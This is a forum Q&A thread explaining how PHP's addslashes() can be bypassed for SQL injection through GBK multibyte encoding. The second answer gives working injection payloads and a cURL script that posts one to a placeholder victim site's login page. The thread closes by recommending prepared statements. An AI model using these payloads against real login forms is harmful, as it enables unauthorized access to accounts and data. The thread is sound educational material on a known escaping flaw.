Examples of SQL Injections through addslashes()?

Solution 1:

Well, here's the article you want.

Basically, the way the attack works is by getting addslashes() to put a backslash in the middle of a multibyte character such that the backslash loses its meaning by being part of a valid multibyte sequence.

The general caveat from the article:

This type of attack is possible with any character encoding where there is a valid multi-byte character that ends in 0x5c, because addslashes() can be tricked into creating a valid multi-byte character instead of escaping the single quote that follows. UTF-8 does not fit this description.

Solution 2:

Chris Shiflett clearly explains with the bellow example, That will of-course work if you try it when using GBK encoding in your database. Even I tried it, this proves, there are chances for sql injection, even though they are very less, but someone with good knowledge and capability can easily inject. Here is an Example...

<?php 

       $mysql = array();
       $db = mysqli_init();
       $db->real_connect('localhost', 'myuser', 'mypass', 'mydb');

       /* SQL Injection Example */

       $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
       $_POST['password'] = 'guess';

       $mysql['username'] = addslashes($_POST['username']);
       $mysql['password'] = addslashes($_POST['password']);

       $sql = "SELECT * FROM   users
               WHERE username = '{$mysql['username']}'
               AND password = '{$mysql['password']}'";

       $result = $db->query($sql);

       if ($result->num_rows) {
              /* Success */
       } else {
              /* Failure */
       }

?>

Although the use of addslashes() or magic_quotes_gpc would normally be considered as somewhat secure, the use of GBK would render them near useless. The following PHP cURL script would be able to make use of the injection, I hope this will help you a bit more to understand:

<?php

       $url     = "http://www.victimsite.com/login.php";
       $ref     = "http://www.victimsite.com/index.php";
       $session = "PHPSESSID=abcdef01234567890abcdef01";

       $ch      = curl_init();

       curl_setopt( $ch, CURLOPT_URL,            $url     );
       curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
       curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
       curl_setopt( $ch, CURLOPT_COOKIE,         $session );
       curl_setopt( $ch, CURLOPT_POST,           TRUE     );
       curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" . chr(0xbf) . chr(0x27) .
                                                 "OR 1=1/*&submit=1" );

       $data = curl_exec( $ch );

       print( $data );
       curl_close( $ch );
 ?>

Solution 3:

As an addition for the readers of the answers here: This MySQL bug has already been fixed:)

Also, it is always good practice to use prepared statements. It is the most exploit-free way you can fire queries (and, in several use cases the most performant). And it would have saved you from this flaw.